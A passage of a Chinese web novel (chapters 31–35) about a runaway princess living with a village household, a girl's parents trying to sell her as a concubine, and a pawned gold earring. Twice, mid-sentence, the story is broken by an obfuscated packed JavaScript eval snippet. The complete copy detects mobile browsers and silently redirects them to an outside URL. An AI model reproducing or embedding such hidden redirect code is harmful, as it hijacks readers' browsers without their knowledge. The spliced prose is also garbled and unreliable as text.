即笑道:“原来是你啊,来,快进来。” 杨恩走了进去,“李贵的事,我才刚听说,你们昨天去找他,怎么不告诉我一声呢?” “告诉你?你要是去把他打死了,可就没法收场了。”姜佑安关上了院门,以开玩笑的语气笑着说道。 “他传出那样的谣言来,确实该死。”杨恩说道。 杨恩的语气很平常,却听得姜佑安想要打冷颤,她收敛起笑意问道:“你以前究竟在什么样的人家干活,以至于如此轻贱人命?” 杨恩低下头,“是我的命贱。” “就算你杀了李贵,然后你去偿命,替我们解决了这个麻烦,那以后呢?你要是想早日摆脱我们,那你现在就走,我们绝不拦你!”姜佑安说道。 杨恩一向平静的脸上,显出一丝慌乱,“我,我不是这个意思。” 姜佑安打开了院门,“今天你给我的那一贯钱,我就不还你了,就当是你偿还了我们救你的恩情,我们之间两清了,你现在自由了,想去哪儿就去哪儿吧。” 看着姜佑安冷漠的眼神,杨恩更加慌乱,“我没有这样想过。” “那你是怎么想的?”姜佑安问道。 “我只是不想让别人欺负你们。”杨恩急切地说道。 “别人欺负我们,我们自己能应对,不用你以命相搏,如果我去杀赵雄,和他同归于尽,你会觉得我做得对吗?”姜佑安说道。 “当然不!该死的是赵雄,不是你。”杨恩说道。 袁竹走了过来,“你说得对,我们跟你的想法是一样的,就算赵雄和李贵该死,也不该搭上你的一条命。” “对啊,杨大哥,我们希望你好好活着。”阮荷也走过来说道。 杨恩呆愣了片刻,“我,我不配做你们的家人。” “家人就是家人,哪有什么配不配的。”姜佑安说道。 “我可是把你当做我们袁家人的。”袁竹微笑着说道。 “袁家人?”杨恩呆呆地重复道。 “虽然我们大家不同姓,但我们都是袁家人,长风也是。”姜佑安说道。 杨恩低下了头,轻声道:“谢谢你们。” “不客气,以后做事多想想后果,多跟我们商量,我们都是一家人,可不愿意让你独自牺牲。”袁竹说道。 “嗯,知道了。”杨恩点了点头。 “还有你,姜佑安,你也要多想想后果,多跟我商量。”袁竹说道。 姜佑安眉头一皱,“你怎么又扯到我身上了,真是的,一天到晚,唠叨个没完,像个老太婆一样。” “还不是你不听话,你要是听我的,用得着我一直唠叨吗?还嫌说我像老太婆?我看是你像长不大的小孩子,长风都比你听话。”袁竹生气地说道。 杨恩和阮荷彼此看了一眼,笑了起来,李长风也跟着笑了。 “我们都是袁家人了。”阮荷笑着说道。 一个男人的声音从外面传来,“小丫头片子!你是哪里是袁家人?你是我阮家人!” 听见熟悉的声音,阮荷心里一惊,笑容僵在了脸上,她向袁竹身后缩了缩,低着头小声说道:“爹,你怎么来了?” 32. 父母 “我怎么来了?我还不是来找你的!”阮阿宝大声说道。 “就是,我看你连你爹娘都不认了,你是我生的,跟的你爹的姓,你什么时候姓袁了?”洪楠的声音也很高昂。 阮荷躲在袁竹身后,一句话都不敢说。 姜佑安看过去,见大门外站着两个人,男人个子不算高,穿着寻常的粗布衣服,女人长得跟阮荷有些相似,她的胳膊肘、肩膀上和鞋面上都打着补丁,看来他们就是阮荷的父母了。 “你们还来找小阮做什么?”袁竹问道。 “我的女儿,我不来找,难道白白便宜了你们?”阮阿宝双手抱臂,上下打量着袁竹,“你是谁?把我女儿拐到这里来做什么?赶紧把她交出来!我要带她回家。” 杨恩站出来,护在袁竹身前,“你们都把阮姑娘逼死过一次了,还不肯放过她吗?” “你别胡说八道了,我们什么逼她死了?”洪楠说道。 “你们要把她卖了给男人做妾,还不是逼她吗?”姜佑安说道。 阮阿宝一脸怒气地盯着姜佑安,“你们懂什么!我家穷得叮当响,让她嫁人,是去过好日子的,我是她爹,还能害她不成?” “这么说,你们是真为孩子好,想让孩子过上好日子是吧。”姜佑安说道。 “那当然了,我们做父母的,当然是希望孩子好。”洪楠说道。 “小阮。”姜佑安走到袁竹身边,把阮荷牵了出来,“你跟你父母说清楚,你是想嫁人,还是想留在我们袁家。” 阮荷紧紧抓住姜佑安的手,低着头说道:“我,我不想回去,我要留在这里。” “留在这里?”洪楠的声音陡然提高,“留在这里干什么,招娣!你不要爹娘了?” “是你们先不要我的。”阮荷的声音小,却坚定,“我不叫招娣,我叫阮荷,我回去你们就要把我卖了,我不回去。” “什么卖不卖的,这孩子说话这么难听,你娘我也是你这个岁数嫁人的,你不嫁人,难道留在家里让人家笑话?”洪楠说道。 阮荷握着姜佑安的手,手心里渗出汗来,“我在这里做饭干活挣钱,没人笑话我。” “你这里挣钱?你不是被骗了吧,挣了多少钱?拿出来给我看看。”阮阿宝说道。 “钱被人抢走了,但我真的在挣钱,我在这里可以养活自己,不用嫁给别人做妾。”阮荷说道。 阮阿宝露出了微笑,放低了姿态,“招娣,你年纪小,太容易上当受骗,我们是你的家人,不会害你,她们可就不一定了,你要是被她们卖了,都没地儿哭去。” 阮荷警惕地向后退了退,“她们不会买我,也不会让我去做妾。” “做妾有什么不好?你不了解赖川那个人,他今天给我们家送了一堆礼物,他都跟我保证了,只要你嫁过去,肯定是吃喝不愁,连带着我们家都能跟着沾光。”阮阿宝笑呵呵地说道,仿佛这真的是一件天大的好事。 “对啊,招娣,你不是喜欢吃鸡蛋吗?去了赖家,你想吃多少就能吃多少,还能顿顿吃上肉呢,这是别家求都求不来的好福气,你还不懂得珍惜。”洪楠说道。 “大娘既如此满意,不如自己嫁过去做妾好了,他能看上你女儿,想必也会喜欢你的长相,你女儿不愿意,你却是心甘情愿的,赖家肯定满意。”姜佑安笑着说道。 洪楠顿时变了脸色,“你说什么呢!” “我在说一桩你满意的好亲事啊,难道你就是嘴上说说,心里也知道那是个火坑,偏要把女儿推进去?”姜佑安说道。 洪楠尴尬地笑了笑,“我都这个岁数了,人家不是没看上我吗?” “说这些废话做什么!儿女的婚事本就是父母做主,我跟你们这些外人说不着,你们今天要是不把我儿女交出来,我就去报官,状告你们拐卖我女儿!”阮阿宝生气地说道。 姜佑安无奈地摇了摇头,“这也是赖家教你们的吧?官差都来了好几趟了,你以为我还会怕这个?” “姜姑娘,他们是阮姑娘的父母,是不是不能直接杀了他们?”杨恩说道。 姜佑安惊讶地看向杨恩,这个家伙真是荒唐,说的都是什么话啊!“你倒是有长进了,动了杀人的念头,还知道跟我商量商量了。” 阮阿宝和洪楠都吓了一跳,彼此看了一眼,阮阿宝的声音都哆嗦起来,“你们不仅拐卖我女儿,还要杀人不成?” 李长风走上前去,拔出了腰间的佩剑,“姜姐姐,要杀那个?男的还是女的?” 姜佑安愕然,这孩子又跟着添什么乱啊? 阮阿宝看着明晃晃的剑身,吓得转身就跑,洪楠赶紧跟上,跑到了大路上,见没有人追来,阮阿宝冲着袁家大喊:“招娣!你个没良心的贱胚子,不认你父母,倒去了别家,你们等着,我这就去报官,让官差来把招娣抓走。” 正巧王大娘从路上过来,听说两人要去报官,热心地叫着他们一起往城里去了。 姜佑安和袁竹也没理会,由着他们去了。 姜佑安牵着阮荷回到院子里,感觉阮荷的手在发抖,“小阮,你没事吧。” 阮荷一脸担忧地看着姜佑安,“我没事,可是,佑安姐姐,要是官差来了怎么办?” 姜佑安将阮荷抱在怀里,轻抚着她的背部,“没事的,小阮今天特别勇敢,跟他们说清楚了你的想法,官差来了你也不用怕,还这么说就行,我们都是站在你这边的。” “对啊,阮姐姐,官差来了也不怕,我把他们赶走就是了。”李长风说道。 姜佑安放开了阮荷,有些生气地看向李长风,“你还说呢,以后可不许这么冒失,杀人是要偿命的,就算是伤了人,也不好,你的剑太危险,以后我不让你拔出来,你就不许拔剑。” “是,我听姐姐的就是。”李长风有些失落地说道。 “长风弟弟是帮我吓唬我爹娘,佑安姐姐,你就别怪他了。”阮荷说道。 “你别替他说话,孩子还小,该说就得说,他整天带着剑,说不定哪天就惹出祸来了,还是不要拔剑的好。”袁竹说道。 李长风低下头,小声说道:“嗯,我知道了。” 姜佑安摸了摸他的头发,“你能为了小阮挺身而出,还是值得表扬的,只是别把打打杀杀挂在嘴边,我以前也没让你杀人,不是吗?” 李长风抬起头,“可是师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李长风就此留了下来,袁竹不在家,他就在家里待着,袁竹在家,他就和姜佑安一起上山打猎,陈大用没有多余的弓可以给他用,他就拿着砍刀开开路,砍砍柴。 两人在山上,可以放心地谈起以前的事,姜佑安问起为什么没有人来追捕她,李长风说她的婢女谭玉清顶替了她,去了北国。 姜佑安想起自己第一次见到谭玉清的时候,正是觉得她和自己的妹妹眉眼间有些相似,才把她买了下来,她聪明伶俐,勤勉肯干,本想着留她在身边,不至于被别人买去受苦,没想到却也是自己,亲手把她推向了那样悲凉的命运。 姜佑安问王爷待她如何,李长风说自己没有见到王爷,得知公主出逃之后,他就马上离开了和亲队伍,不知道谭玉清现状如何。 姜佑安叹了口气,内心深感不安,自己逃走了,却留下个烂摊子给谭玉清。 李长风问起姜佑安的打算,姜佑安也很迷茫,说走一步看一步吧,又叮嘱李长风千万保密,万一自己的行踪暴露,只会让谭玉清的处境更加艰难。 李长风点头答应。 昨晚下过一场雨,今天山上比夏天的时候热闹了些,偶尔能看到挎着竹筐采蘑菇的人,还有拿着杆子去打板栗和核桃的,姜佑安和李长风都不认识板栗树和核桃树,除了砍柴打猎,只能摘些山楂回去。 山楂看着红彤彤的,却酸得不能吃。 一上午没有打到什么猎物,姜佑安又摘了一大捧山楂让李长风拿衣襟兜着,自己背着柴火下山去了。 到了山脚下,她看见前方一个人影有些眼熟,仔细一看,竟是郭英。 33. 蘑菇 “郭英!你怎么在这儿?”姜佑安上前主动跟她打招呼。 “是你啊。”郭英回过头来,笑着迎上去,“我刚从山上下来,正要回家去,今天怎么带个孩子来?” 姜佑安笑了笑,“这是我弟弟,叫长风,长风,叫郭英姐姐。” 李长风微笑点头,向郭英打了招呼,郭英笑着问道:“今天收获怎么样?” 姜佑安摇了摇头,“没打到猎物,就砍了些柴火回来。” “昨天难得下雨,你竟然上山去砍柴?”郭英不解地问道。 姜佑安探头一看,郭英挎着的筐里,竟有大半筐都是大大小小、奇形怪状的蘑菇,她非常羡慕,“我不知道什么样的蘑菇能吃,袁竹也怕中毒,不让我去摘。” “这样啊。”郭英把筐放在地上,挑出来一捧放在李长风兜起的山楂上,“这些都是常吃的,袁竹肯定认识,趁新鲜,也不用晒,中午就炒炒吃了吧。” “这怎么好意思。”姜佑安脸上笑开了花,忙抓了一把山楂给郭英,“这个虽说有点酸,你也尝尝。” 郭英接过山楂,放在筐里,“山楂是酸了点儿,用糖水煮煮,吃着也行。” 姜佑安有些不好意思地笑了,“是吗?等哪天我也买点儿糖试试。” 郭英挎起筐,笑着说道:“那我走了,有空就去我家坐坐。” “嗯,再见。”姜佑安跟郭英道了别,高兴地回了家。 踏进院门,就看见院子当中铺着席子,已经差不多完工的被子铺在上面晒着太阳,袁竹和阮荷在厨房里忙活。 姜佑安解开柴火捆,把柴火摊开晾在地上,李长风兜着山楂和蘑菇进了厨房,“袁姐姐,阮姐姐,咱们有蘑菇吃了。” 袁竹从灶前走出去,仔细看了看李长风兜回来的蘑菇,惊喜地问道:“你还认识蘑菇?” “我不认识,这是在山脚下,一个叫郭英的姐姐给我们的。”李长风说道。 “郭英?”袁竹有些吃惊,“她怎么会在这里?” “她是去山上捡蘑菇的,下山的时候,我们碰巧遇见。”姜佑安走进来说道。 “能在这边山脚下遇见,她肯定住得不远,也经常上山,你丢的箭,不会就是让她给捡去了吧。”袁竹说道。 “她捡我的箭做什么,当柴烧?那还不如直接去山上砍树呢。”姜佑安笑着说道。 袁竹皱起了眉头,“你怎么这么不当回事,这不就说明赵雄是她杀了,然后嫁祸给你了吗?” “她看起来可不像是会使弓箭的。”姜佑安说道。 “看起来是那样,可你也不知道她会不会,她没有怪你那天没有去找她吗?她不生你的气,还要送你蘑菇,肯定是做了亏心事。”袁竹说道。 “没有那么复杂,之前我就遇见过她一次,她没有生我的气,今天也是碰巧遇见了,她问我怎么不采些蘑菇回来吃,我说我不认识,她就拿了这些给我,不过,我也不是白拿的,我给了她我今天刚摘的山楂。”姜佑安说道。 “那么酸的东西,也多亏她愿意收。”袁竹说道。 “她说用糖水煮煮挺好吃的。”姜佑安说道。 “看来她家境不错,还能买得起糖煮山楂,也不知道赵雄勒索了她多少钱财,她才会想要了赵雄的性命。”想到赵雄,袁竹又想到了那座低矮土房里的老人,她叹了口气,“不知道那位老人家怎么样了。” “郭英上次跟我说,她现在也常去看赵雄他娘,儿子死了,老人家也伤心,不过,她也说这是她儿子的报应。”姜佑安说道。 “这个女人真让人搞不懂,又要杀赵雄,又可怜赵雄他娘,我总感觉她是个麻烦,以后你再看见她,不要搭理她了。”袁竹说道。 “她心地善良,肯定不会杀人的。”姜佑安说道。 “谁知道呢,明知道有麻烦,还是躲着点儿好。”袁竹把蘑菇放在盆里,从水缸里舀水洗蘑菇,“水快没了,你累不累?不累的话,去挑两桶水回来。” “我才刚回来,你就指使人干活。”姜佑安一边抱怨,一边拎起水桶和扁担,出了厨房。 李长风把山楂倒在地上,也跟着跑了出去。 等姜佑安和李长风挑水回来,中午饭已经做好了,两人把水倒进厨房的水缸里,去洗了手,坐在了桌边。 “今天王大娘没来吧?”姜佑安问道。 “没有,跟谁说,她都不占理,咱们家这么多人,她来了也占不到便宜,哪还敢再来。”袁竹说道。 姜佑安拿起筷子,“小阮的父母呢?有再来吗?” “也没有,县衙里就没有管事的人,拿不出来钱去贿赂,他们去了也没用。”袁竹说道。 姜佑安尝了一口蘑菇,连连点头,“嗯,小阮的手艺又进步了,这蘑菇炒得真好吃,比肉都好吃。” “蘑菇太好吃了,姜姐姐,下午咱们还上山去吧,山上应该还有。”李长风一边大口吃饭,一边说道。 “山里大得很,那些常去采蘑菇的,都知道哪里有,你们既不认识蘑菇,也不知道地方,到处瞎转,只是白耽误功夫。”袁竹说道。 “那袁姐姐也跟我们一起去吧。”李长风说道。 “算了吧,我认识的蘑菇少,也不知道哪里有。”袁竹说道。 “不去了吧,下了雨,山里草叶树叶上都是水,弄得身上湿漉漉的,我们还是在家晒晒太阳吧。”姜佑安说道。 李长风看向阮荷,“要不,阮姐姐跟我一起去吧。” 阮荷有些抱歉地笑了笑,“我也不太认识蘑菇。” “在山上跑了一上午了,你也累了,下午就在家里歇歇吧。”袁竹说道。 李长风本来对采蘑菇充满了兴趣,见她们都不想去,也只好作罢。 吃过了午饭,袁竹和阮荷去厨房刷碗,姜佑安搬了椅子在院子里晒太阳,抬头看天,阳光刺得她睁不开眼,她闭上眼睛,回味着炒蘑菇的鲜香。 李长风也搬了椅子出来,刚放下椅子要坐,就看见一个十六七岁的少男在门口探头探脑,他走了过去,还未开口,对方就问道:“请问阮招娣姑娘是住在这里吗?” 听到陌生人的声音,姜佑安睁开了眼睛,见一个衣着朴素的少男捧着一个木盒,恭敬地站在门口。 “你找阮姑娘做什么?”李长风问道。 少男点头行礼,“打扰了,我是赖家的小厮,我家老爷派我来,是有东西要交到阮姑娘手上。” “来送礼的?”姜佑安靠在椅背上问道。 “正是。”少男答道。 “从她父母那里要不到人,就直接把礼送到我们家来了,你家老爷还真是执着。”姜佑安说道。 “我家老爷说,自打见了阮姑娘,一直念念不忘,这一份薄礼,还请阮姑娘笑纳。”少男低头说道。 “阮姑娘不收礼,你把东西拿回去吧,跟你老爷说,阮姑娘不喜欢他,以后也不必送了。”姜佑安说道。 “这……”少男好似有些为难,“老爷让我一定要送到。” “礼你送到了,阮姑娘不收,你如实告诉你家老爷就好。”姜佑安说道。 少男看了看姜佑安,犹豫了片刻,他弓身蹲下,把木盒放在了地上,“礼物我送到了。”说完起身,拔腿就跑。 姜佑安有些哭笑不得看着少男消失在门口,“这孩子,怎么这么不懂变通。” “可能是怕拿回去之后,要受处罚吧。”李长风说着,捧起地上的木盒,走过去,放在了姜佑安的膝上。 厨房里的袁竹和阮荷也走了出来。 “赖家送的东西?”袁竹问道。 “是,哪天进城,再给送回去吧。”姜佑安打开木盒,见里面装的都是些胭脂水粉之类的,她拿出一盒香粉来,笑意盈盈地看着阮荷,“小阮想要吗?” “这是什么?”阮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734437|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荷好奇地问道。 “香粉啊?你没用过?”姜佑安有些惊讶。 “穷人家的孩子,哪用得起这些,你拿出来干什么?弄坏了,小心让你赔。”袁竹说道。 姜佑安打开了粉盒,放到阮荷面前,“你闻闻,是不是很香?” 阮荷弯着腰,小心地凑过去,轻轻一嗅,鼻尖闻到了一种从未闻过的特殊香味,“这是什么花做的?怎么这么香?” “是掺了香料做的。”姜佑安合上香盒,把它递给阮荷,“你要是喜欢,就留下吧。” “又不是你的东西,你说给谁就给谁?”袁竹不满地说道。 “袁姐姐也想要?那我给你挑一盒胭脂吧,你脸色这么难看,涂点儿胭脂增增色,正合适。”姜佑安笑着说道。 袁竹沾着水的手打在姜佑安的脑门上,“谁找你要东西了?这是赖家送来的东西,得原封不动地送回去,你偷偷留下一两样,以为他不会发现?你收了他的东西,到时候他找你要人,我看你怎么办!” 姜佑安用袖子擦了擦脑门,有些不服气地小声说道:“我知道,这不是开个玩笑嘛。” “把东西收起来放好,明天我就给送回去,你要是闲着没事干,就把剩下那点儿被面缝完。”袁竹说完回了厨房。 “我才刚休息休息,你就又给我派活,不能让我晒会儿太阳吗?”姜佑安冲阮荷晃了晃手里的粉盒,狡黠地问道:“小阮,你要不要?” “不要,我用不上,还是都还回去吧。”阮荷说完,也跟着进了厨房。 “哼,不要就不要,送回去就是了。”姜佑安自言自语地说道。 “姐姐想要香粉吗?”李长风在一旁问道。 “我才不要呢。”姜佑安轻轻抚摸着粉盒上的水仙花浮雕,“香粉这种东西,还是涂在男人身上比较好,让皮肤香香的,软软的,好闻又好摸。” “姜佑安!你少在那里胡说八道!好好的孩子都让你给教坏了!”袁竹在厨房里大声说道。 “好!我不说了!真是无趣,连玩笑话都不让人说。”姜佑安嘟嘟囔囔地抱怨着,合上了木盒,站起身回了房间。 放好了木盒,姜佑安回到了院子里,脱了鞋,坐在了席子上,她来回翻看着被子,寻找还没缝上的地方。 被子一面用的是大块的布料,另一面则是各种碎布块拼起来的,花花绿绿的,看着格外扎眼,姜佑安嫌弃地摇了摇头,“真是没见过这么丑的被子。” 李长风凑过来小声说道:“布料不够,也没办法,您别说得这么大声,待会儿袁姐姐听见,又该生气了。” 姜佑安压低了声音,“丑就丑点吧,有被子用就行,三个人睡一张床,太挤了,觉都睡不好。” 李长风帮忙找到了还没缝上的位置,担心地问道:“您会针线吗?” “不会,随便缝呗,反正是我自己用。”姜佑安说道。 阮荷从厨房走了出来,在围裙上擦了擦手上的水,“佑安姐姐,我来缝吧。” “行,正好我不会,你缝一个我看看,我也学习学习。”姜佑安笑着让出了地方。 阮荷在席边坐下,拿过了针线,整理好被子的边角,飞针走线,不一会儿,就把最后的缺口给缝上了。 “谢谢你,小阮,今天晚上终于可以睡个好觉了。”姜佑安高兴地说道。 袁竹也从厨房里走了出来,甩了甩手上的水,“都缝好了?那就收起来吧,别弄脏了。” “好嘞。”姜佑安应了一声,把被子卷巴卷巴,抱着就往屋里走。 袁竹看着很是不满,“你好好抱着,别拖地上了。” “没事没事。”姜佑安感觉被子的一角要掉下去了,忙用腿顶了一下,快步向堂屋走去。 随着姜佑安的动作,被子角滑落下来,扫到了半开的门板上,刺啦一声,门板上突出的木刺把新缝好的被面扯出了一个大口子。 34. 耳环 姜佑安听见声响,忙停住脚,一回头,就看见袁竹黑着一张脸走了过来,“让你好好抱着,你偏不听,刚缝好的被子,又让你给弄坏了。” 姜佑安尴尬地一笑,“抱歉,我不是故意的。” 阮荷也走过来,“袁姐姐,你别生气,我再缝上就是了。” 袁竹撩起破洞的被面,气不打一处来,“缝上是容易,为了凑这个被面,我把所有能用的布头都缝进去了,她这又扯破一块,我还上哪找料子去。” 没有料子,阮荷也犯了难。 袁竹撒开手,“算了,反正是你自己闯的祸,你就自己用这破被子吧。” “要不,我用这个吧,我个子小,正好用不上这么大的被面,破了也没关系。”李长风说道。 “我自己用。”姜佑安也赌起气来,“破了怎么了?破了也能用,我自己用就是了。” 姜佑安抱着被子进了西屋,用力把被子往床上一甩,一阵风鼓起,吹动了床头的破布条,她定睛一看,原来是自己来时穿的那身衣服,她灵机一动,拿着衣服走了出去。 姜佑安翻动着衣服,见衣服后背的位置还有一整块完整的布料,“小阮,你看这块缝到被子上怎么样?” 阮荷走过去,上手摸了摸那带暗纹的橘黄色料子,“可以啊,我看挺好。”她又转头看向袁竹,“袁姐姐,你说呢?” 袁竹看了一眼,点头同意,“反正衣服也不能穿了,补被子正好,去拿剪刀剪下来吧。” 阮荷去拿剪刀,姜佑安把衣服扔在院子里的席子上,又把被子抱了出来,平铺在席子上,李长风坐在席子边,把衣服平整地摊好。 阮荷那块完好的布料剪了下来,姜佑安把剩下的烂糟糟的部分团在一起,往厨房走去。 “你干吗去?”袁竹问道。 “这些也没什么用了,拿去烧火吧。”姜佑安说道。 袁竹走过去,拿了过来,在手里摆弄着,“这么好的料子,烧了多可惜。” 姜佑安很是不耐烦,“这有什么可惜的,又不能穿了。” “不能穿,还能做别的用,留着吧。”袁竹说道。 “破布条子能有什么用。”姜佑安懒得再跟袁竹争辩,坐在了席子上,看阮荷缝被面。 袁竹捏着手里的衣服料子,感觉里面有个硬硬的东西,扒拉出来一看,竟是一只镶嵌了珍珠的金耳环,她马上拿到了姜佑安的眼前,“姜佑安,这是不是你说的,丢的那只耳环?” 姜佑安瞪大了眼睛,双手接了过来,惊喜地说道:“对!就是这个!你在哪儿发现的?” 袁竹开心地笑起来,“就裹在你这衣服里面,差点就被你给烧了。” 姜佑安激动地站了起来,“多亏了你!太好了!这可是金的,我们有钱了!” “这个耳环值很多钱吗?”阮荷被两人兴奋的情绪感染,笑着问道。 “这要是真金,起码我们过冬是没问题的。”袁竹说道。 “这当然是真金,对了!”姜佑安看向阮荷,“这衣服不是你给我洗干净的吗?你当时没发现这个?” “发现了,我不知道值不值钱,就放到衣服里一起给你了,还以为你早就收起来了呢。”阮荷笑着说道。 “姐姐要把耳环当掉吗?”李长风问道。 “单只的耳环也没法戴,还是换了钱回来比较实在。”姜佑安说道。 “这是你从家里带出来的唯一一件完好的东西了吧,你真的舍得?”袁竹问道。 姜佑安轻轻抚摸着耳环上雕刻的龙纹,笑了笑,“没什么不舍得的,反正那个家我不想再回去,也不可能再回去了,以后我只是袁家人,跟原先那个家,再没有关系了。” “行啊,你舍得就好,明天你跟我一起进城,还有长风也去,咱们再买些棉花和衣料回来,给长风也做一件冬衣。”袁竹微笑着说道。 姜佑安得意地眨了眨眼睛,“小阮也去吧,我有钱了,你想吃什么点心就跟我说,我都给你买。” “当了的钱,你还是给小阮保存吧,让你拿着,估计不到冬天,就花没了。”袁竹说道。 “你怎么这么看不起人呢?我只说要给小阮买点心,又没说要把钱都花了。”姜佑安不满地说道。 “我不吃点心,佑安姐姐,钱还是留着买粮食吧。”阮荷说道。 “光吃粮食有什么意思,我不光要买点心,我还要买肉吃,我要大吃特吃!”姜佑安说着,咽了一下口水,眼睛里充满了对美食的欲望。 “算了,你还是给我吧。”袁竹从姜佑安手里拿过金耳环,揣进了怀里,“这耳环我来保管,明天换了钱,也是我来收着,你要买什么,我同意了,再给你钱买。” “啊?凭什么?这可是我的耳环,是我的钱!”姜佑安抗议道。 “我这都是为了咱们这个家,咱们冬天没有收入,每一个铜板都得精打细算,不能让你随便乱花。”袁竹说道。 “佑安姐姐,你就听袁姐姐的吧。”怕两人吵起架来,阮荷赶忙劝道。 李长风也紧张地看着姜佑安,姜佑安在席子上坐了下来,“行,你是一家之主,听你的。” “这次表现不错,明天奖励你吃一顿肉。”袁竹笑着说道。 “真的?”姜佑安高兴地抬头看向袁竹,“我要吃羊肉,上好的羊肉。” “行。”听到袁竹点头答应,阮荷和李长风也跟着笑了起来。 虽然袁竹说不买点心,但进城的时候,她还是带上阮荷,四人先打听了赖家的位置,把昨天送来的礼物还了回去,又去了当铺,经过袁竹和掌柜的一番拉扯,当了十两银子,然后去买了棉花、衣料和羊肉,高高兴兴往家里去了。 姜佑安突然想起之前去报官时用了戴庭芳的钱,她找袁竹要了一两银子,去了崇正书院,想要还给他,可书院的人都说他不在,见不到人,姜佑安只好作罢。 袁竹和阮荷已经回家去了,姜佑安带着李长风出了城门,天空湛蓝,阳光灿烂,她走在路上,看着道路两旁的树木和田野,听着秋风阵阵刮过,心情好极了。 迎面有一人骑着马走过来,阳光在他身上披上一层金辉。 他身姿挺拔,穿着一身竹青色长袍,腰带紧扎,勾勒出粗壮的腰身,脚蹬高筒靴,身后背着弓箭,手握缰绳,款款而来。 待马到近旁,姜佑安见他长得剑眉星目,粗粝中自带一股英豪之气,不由得看呆了。 发觉路旁有两人看着他,男人向路边扫视一眼,姜佑安和他目光一对上,快步走上前去,“公子回城吗?” 见姜佑安过来搭话,男人勒住了缰绳,“你认识我?” 姜佑安笑了,“现在不认识,但我看公子气度不凡,很想结识公子,我叫姜佑安,请问公子贵姓?” 男人目光冷漠,“身为女子,怎可在外面抛头露面,还主动向不认识的男人搭话,真是不知廉耻!” 男人说完,挥鞭纵马而去。 姜佑安碰了钉子,失望地看向李长风,“长风,我是不是失去魅力了。” “怎么会呢,姐姐一向很有魅力的。”李长风不大明白姜佑安在说些什么,但还是尽力安慰她。 “以前我跟那些美貌的公子搭话,他们从来不会拒绝我的,可是现在,他们不但不理我,还要骂我不自重、不知廉耻。”姜佑安难过地说道。 “那是因为他们不知道姐姐的身份,要是知道了,他们不敢这样对您的。”李长风认真地说道。 “身份、权势、地位、金钱。”姜佑安茫然地看着路旁飘摇的柳枝,“看来袁竹说的是真的,男人都是有所图的,他们接近我,不是因为我这个人,而是我的身份,让他们无法拒绝。” 李长风听了,很是惊讶,“袁姐姐知道姐姐的身份了?” “不知道。”姜佑安摇了摇头,“她只是说,我无权无势,长相普通,所以美貌的男人都看不上我。” “袁姐姐真的这么说了?”李长风担心地看着姜佑安,“这也不一定吧,肯定会有喜欢姐姐的男人出现的。” 姜佑安看向李长风,“我没有钱,也不是公主,还会有美人喜欢我?” “肯定会有的!”李长风肯定地说道。 姜佑安突然觉得自己很可笑,竟然在一个孩子身上寻求安慰,让他说出违心的话来,她无奈地笑了笑,“算了,没有美人就算了,起码我身边还有你。” “对啊,姐姐还有我。”李长风也笑了起来,“您曾经也夸过我长得好看,等我长大了,就是美貌的男人了。” 李长风天真的语气,让姜佑安忍俊不禁,“对,你现在是个小美男,等你长大了,就是大美人了。” 李长风腼腆地笑着,“只要姐姐高兴就好。” “唉,你小小年纪也不容易,我这么麻烦的人,你还来找我做什么?”姜佑安有些心酸地问道。 “我刚进公主府的时候被欺负,是姐姐救了我,还提拔我做侍卫,姐姐是我的恩人,我发过誓,要一辈子保护姐姐的安全。”李长风说道。 姜佑安轻轻抚摸着李长风的头发,“你现在还小,跟着我也没什么,等以后你若是有了自己想做的事,就跟我说,不必非守在我身边。” “姐姐待我好,我想留在姐姐身边。”李长风说道。 “行啊,先留下吧,以后的事,以后再说,咱们都走一步看一步吧。”姜佑安迈开步子,向袁家走去,李长风步伐轻快地跟在她身后。 阳光暖融融的,晒得人心里也暖暖的。 两人回到家门口,见一个男孩从里面跑了出来,袁竹追出来,对姜佑安和李长风喊道:“抓住他!别让他跑了!” 第三十五章混战 李长风拦住了男孩,他抱着男孩的腰,把他扑倒在地。 “这是怎么了?家里进小偷了?”姜佑安问道。 “他不是小偷,长风,你别伤着他。”阮荷从院子里走出来,手上捧着一个木盒。 “没有小偷,是赖家又派人来送礼了。”袁竹说道。 姜佑安仔细一看,见确实是昨天来送礼的那个孩子,她把两人拉了起来,“我们今天刚把礼物还回去,你怎么又来了?还想故技重施?” “老爷的吩咐,我不敢不听。”少男低着头说道。 李长风放开少男,姜佑安扑打着他身上的灰尘,“东西拿回去,你会挨打吗?” 少男点点头,没有说话。 “那好,东西我们收下了,你告诉你家老爷,让他下午亲自来一趟,阮姑娘有话要亲自跟他讲。”姜佑安说道。 “好,我这就回去告诉我家老爷。”少男向姜佑安鞠了一躬,快步向大路跑去。 “姜佑安!你怎么能自主主张?谁稀罕他的东西!”袁竹生气地说道。 “东西这么送来送去的,多麻烦啊,还不如把人叫来,把话说清楚。”姜佑安走到阮荷面前,打开了她手上的木盒,见里面装着些钗环珠花,“做工这么粗糙,也好意思拿出来送人。” “这在普通百姓眼里,已经是值钱的东西了。”袁竹说道。 姜佑安合上了木盒盖子,温柔地看着阮荷,“小阮,等人来了,你知道该怎么说吧。” 阮荷点了点头,“我就说不愿意嫁给他。” “要是你爹已经收了他的聘礼呢?”袁竹说道。 阮荷一听就慌了,“啊?那怎么办?” “你爹收了钱,你也不嫁,他的钱给了谁,就找谁要回来,反正你不嫁,不管他怎么说,你都不能跟她走,绝对不行!”姜佑安说道。 “对,你又没收钱,谁收的钱他找谁。”袁竹附和道。 有袁竹和姜佑安在她左右,阮荷心里的不安渐渐消散,她点了点头,“嗯,我知道了。” 袁竹看向李长风,“长风,你去趟木匠家,跟杨恩说,咱们这儿中午做了他的饭,让他跟你一起过来吃点儿。” “好。”李长风应了一声,往村子跑去。 姜佑安走进院子,深吸了一口气,“好香啊,是炖羊肉和炒腊肉的味道” 